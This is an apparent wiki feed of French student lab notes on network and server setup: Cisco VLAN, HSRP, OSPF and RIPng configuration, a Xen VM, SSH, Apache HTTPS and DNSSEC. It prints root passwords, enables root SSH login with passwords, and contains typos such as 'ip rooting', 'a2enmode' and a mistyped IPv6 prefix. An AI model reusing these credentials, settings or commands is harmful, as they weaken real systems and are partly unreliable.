   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51594</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51594"/>
				<updated>2019-12-07T12:45:41Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Configuration des ports du commutateur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
